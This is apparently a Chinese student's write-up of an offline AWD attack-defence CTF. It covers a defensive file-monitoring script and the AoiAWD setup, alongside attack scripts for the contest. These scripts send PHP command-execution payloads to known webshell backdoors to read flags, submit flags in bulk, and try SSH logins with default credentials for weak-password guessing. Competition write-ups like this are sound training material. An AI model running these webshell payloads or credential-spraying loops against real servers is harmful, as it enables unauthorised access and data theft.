tothemoon
文章6
标签0
分类3
第 六 周 AWD总结

第 六 周 AWD总结

第六周 线下AWD总结

上周跟着工作室的大佬们去沈阳参加了第三届辽宁省网络安全技能大赛,非常幸运进了线下比赛。

image-20201104214821608

线下比赛的赛制是AWD(网络攻防),以前一直打ctf,偶尔听学长说过,但重来没有了解过。这次真的是恶补了一下,基本上每天都是通宵,但也只是大概对比赛有了一个比较清晰的概念,一切都还得等到比赛时才知晓怎样。果然,不才,只拿了一个华为手表(老师们非常不满意这个成绩啊)。

所以想着写一下总结,记录一下,查漏补缺。供下次比赛复习用。

1.工具

首先是一些工具。脚本,waf,啥的。

这次比赛我负责的是攻击,另一位大佬负责防守,另外一些脚本在他手里,时间匆促,分完工后我也没去学过他那边的。

AoiAWD(脚本已编译好)

上一届学长给了我一个安全响应系统AoiAWD,如果打比赛的时候部署上的话,防御应该非常简单了。可是这次用户给的权限实在太低了,连执行权限chmod +x 都没用。当时第一次部署时问师傅问的快没信心了,不过还是记录一下具体的使用方法,免的年久忘事。

首先启环境,先进入 AoiAWD/AoiAWD/ 里运行 aoiawd.phar

image-20201106143418643

image-20201106143317050

运行成功后会回显token,端口号,然后本机访问

输入token访问之

image-20201106144143290

image-20201106144211868

然后是网络配置,我是在虚拟机里搭建的环境,所以得配置端口映射才能靶机访问到。

这里有两个网卡:网络 nat+自定义。自定义可以不用管,但必须有一个nat模式。

image-20201106144032999

进入虚拟网络配置器,更改设置,

image-20201106144452877

image-20201106145019592

此时就能在物理机上访问了。

image-20201106145137762

其次是这四个脚本探针(我已生成),每个探针对应不同的功能,放到比赛的靶机里网站根目录下用 ./ 执行。

image-20201104221005086

image-20201106150440075

这里提示命令失败了可能是权限不够,用chmod +x赋予文件可执行权限(这次比赛连chmod+x都没给,也导致了当时没有搭上)。

image-20201106180801855

启动(-s后面接容器网址)

image-20201106204832598

D盾,Seay,Xshell

xshll连接服务器

用于代码审计,先用D盾扫出比较明显的漏洞,然后用Seay审计。

image-20201107150740728

一些批量自动脚本

监控本地文件

python(2) +文件名.py

# -*- coding: utf-8 -*-
# 文件监控

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()  # 返回当前进程工作目录
FILE_MD5_DICT = {}  # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = 'drops_A1F2GI'
bakstring = 'bak_KO4DF8'
logstring = 'log_JF239S'
webshellstring = 'webshell_89DFG2'
difffile = 'diff_UE23SN'

Special_string = 'file_n0t_kill'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak': os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log': os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell': os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile': os.path.realpath(os.path.join(spec_base_path, difffile)),
}


def isListLike(value):
    return isinstance(value, (list, tuple, set))


# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):
    if noneToNull and value is None:
        return None

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(
                        INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")


# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else:
            raise


# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root, subdirs, files in os.walk(cwd):   # 目录遍历器
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist


# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath, 'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u'[!] getmd5_error : ' + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass


# 获取所有文件MD5
def getfilemd5dict(filelist=[]):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict


# 备份所有文件
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])


if __name__ == '__main__':
    print u'---------start------------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST)  # TODO 备份文件可能会产生重名BUG
    print u'[*] pre work end!'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))   # 从file_list中去掉原有文件
        if len(diff_file_list) != 0:
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string in f:
                    ORIGIN_FILE_LIST = getfilelist(CWD)
                    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
                    backup_file(ORIGIN_FILE_LIST)  # TODO 备份文件可能会产生重名BUG
                    print u'[*] Special_file had be change : ' + getUnicode(filepath)

                if Special_string not in f:
                    try:
                        print u'[*] webshell find : ' + getUnicode(filepath)
                        shutil.move(filepath,
                                    os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.' % getUnicode(filepath)
                    try:
                        # 写入日志
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : file move error: ' + getUnicode(e)

        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string in f:
                    ORIGIN_FILE_LIST = getfilelist(CWD)
                    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
                    backup_file(ORIGIN_FILE_LIST)  # TODO 备份文件可能会产生重名BUG
                    print u'[*] Special_file had be change : ' + getUnicode(filekey)
                if Special_string not in f:
                    try:
                        print u'[*] file had be change : ' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.' % getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : done_diff: ' + getUnicode(filekey)
                        pass
        time.sleep(2)

生成ip列表,读取flag

用于查找未知靶机

# -*- coding: utf-8 -*-
# 生成ip列表
import re

ip_input = '49.234.62.198:8801-8812'

try:
    num = str(re.findall(r'[0-9]+-[0-9]+', ip_input)[0])
    f = open('ips_1.txt', 'w')
    for i in range(int(num.split('-')[0]), int(num.split('-')[1]) + 1):
        ip = str(ip_input).replace(num, str(i)) + '\n'
        print(ip, end='')
        f.write(ip)
    f.close()
except:
    print('Write Failed')
    exit()

用上面的ip列表连接已知后门进行读取flag

# -*- coding: utf-8 -*-

import requests
import time

way = '/footer.php'
data = {'shell': "cat /flag"}

flag_file = 'flag_1.txt' # 将结果写入flag_1.txt
ips_file = 'ips_1.txt'  # 读取的IP列表
res = []


def exp_post(file, way):
    try:
        count = 0
        success = 0
        f = open(file)
        line = f.readline().splitlines()
    except:
        print(file + ' Read Failed')

    while line:
        url = 'http://' + line[0] + way
        try:
            req = requests.post(url=url, data=data, timeout=3)
            flag = str(req.text.encode('raw_unicode_escape'))
            print({'ip': line, 'flag': flag})
            res.append({'ip': line, 'flag': flag})
            line = f.readline().splitlines()
            count += 1
            success += 1
        except:
            res.append({'ip': line, 'flag': None})
            print({'ip': line, 'flag': None})
            line = f.readline().splitlines()
            count += 1
            continue

    print('Total: ' + str(count) + '\tSuccessed: ' + str(success) + '\tFailed: ' + str(count-success))


def write_flags():
    try:
        f = open(flag_file, 'w')
        for i in res:
            f.write(str(i) + '\n')
        f.close()
    except:
        print('Flag Write Failed')


if __name__ == '__main__':
    while True:
        print('*' * 30)
        print(time.asctime(time.localtime(time.time())))
        exp_post(ips_file, way)
        write_flags()
        time.sleep(60 * 2)

和上个脚本类似,payload更多。

# -*- coding: utf-8 -*-
# 

import requests
import time
import re

ips_file = 'ips_1.txt'  # 读取的IP列表
way = '/config.php'        # 后门路径
payloads = [            # 后门密码和路径
    {"c": "exec('cat /flag',$out);print_r($out);die();"},
    {"c": "system('cat /flag',$out);print_r($out);die();"},
    {"c": "passthru('cat /flag',$out);print_r($out);die();"},
    {"c": "shell_exec('cat /flag',$out);print_r($out);die();"},
]
flag_file = 'flag_1.txt'
res = []        # 返回成功结果


def exp_post(file, way):
    try:
        count = 0
        success = 0
        f = open(file)
        line = f.readline().splitlines()
    except:
        print(file + ' Read Failed')

    while line:
        url = 'http://' + line[0] + way
        try:
            for payload in payloads:
                req = requests.post(url=url, data=payload, timeout=3)
                flag = str(re.findall(r'\[0\] \=\> .+\\n', str(req.text.encode('raw_unicode_escape')))[0])[7:-5]
                # flag = str(req.text.encode('raw_unicode_escape'))
                print({'ip': line, 'flag': flag})
                res.append({'ip': line, 'flag': flag})
                line = f.readline().splitlines()
                count += 1
                success += 1
                break
        except:
            res.append({'ip': line, 'flag': None})
            print({'ip': line, 'flag': None})
            line = f.readline().splitlines()
            count += 1
            continue


def write_flags():
    try:
        f = open(flag_file, 'w')
        for i in res:
            f.write(str(i) + '\n')
        f.close()
    except:
        print('Flag Write Failed')


if __name__ == '__main__':
    while True:
        print('*' * 30)
        print(time.asctime(time.localtime(time.time())))
        exp_post(ips_file, way)
        write_flags()
        time.sleep(60 * 2)

批量提交flag

# -*- coding: utf-8 -*-
import requests
import re

url = "https://172.20.1.1/Common/awd_sub_answer"
flags_file = 'flag_1.txt'
key_word = ''


def read_flags():
    # 读取Flag
    try:
        with open(flags_file, 'r') as f:
            lines = f.read().splitlines()
        f.close()
        return lines
    except:
        print('Flag Read Failed')
        exit()


def post_data(flags):
    # 提交flag
    success = 0
    for i in flags:
        data = {'ip': eval(i)['ip'], 'flag': eval(i)['flag']}

        try:
            req = requests.post(url=url, data=data, timeout=3)
            status = req.status_code
            re.findall(key_word, req.text)
            success += 1
            print('Submit Successed ', data['ip'])
        except :
            print('Failed IP : ', data['ip'])
            continue

    print('Total: ' + str(len(flags)) + '\tSuccessed: ' + str(success) + '\tFailed: ' + str(len(flags)-success))


if __name__ == '__main__':
    flags = read_flags()
    post_data(flags)

批量连接ssh(python2,可用于爆破弱密码)

import paramiko
for i in range(1,10):
    ip = '172.16.10'+str(i)+'.200' # ip地址
    port = '22' # 端口
    username = 'ubuntu' # 用户名
    passwd = 'venus' # 密码

    print(ip)
    # ssh 用户名 密码 登陆
    def ssh_base_pwd(ip, port, username, passwd, cmd='cat flag'): # 命令
        port = int(port)
        ssh = paramiko.SSHClient()

        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        ssh.connect(hostname=ip, port=port, username=username, password=passwd)

        stdin, stdout, stderr = ssh.exec_command(cmd)

        result = stdout.read()
        if not result:
            print("无结果!")
            result = stderr.read()
        ssh.close()

        return result.decode()

    try:
        a = ssh_base_pwd(ip, port, username, passwd)
        print(a)
    except:
        pass

批量连接flag

比如连接ssh,获取flag,提交flag等

2.注意事项

root权限,数据库

运气好的话,可以用弱密码把密码试出来,这次的比赛数据库的密码就是password但是当时旷了,没有试,然后被别的队拿到了权限清空了数据库。赛后我的另一位队友突然想起来php连数据库会把密码写在配置文件里了,淦,傻逼了,第一次打比赛出现这种低级失误。

靶机

这次有两个靶机,一个pwn,一个web,结果我们就维护了web题而没有看到pwn里面居然还有web…导致全程被别人打,所以以后得细心点了。

3.总结

还记得学长比赛前给我说过的一句话:“赛场上不要慌,要懂得随机应变”。

希望各位师傅以及我自己不管在是什么时候都牢记这句话。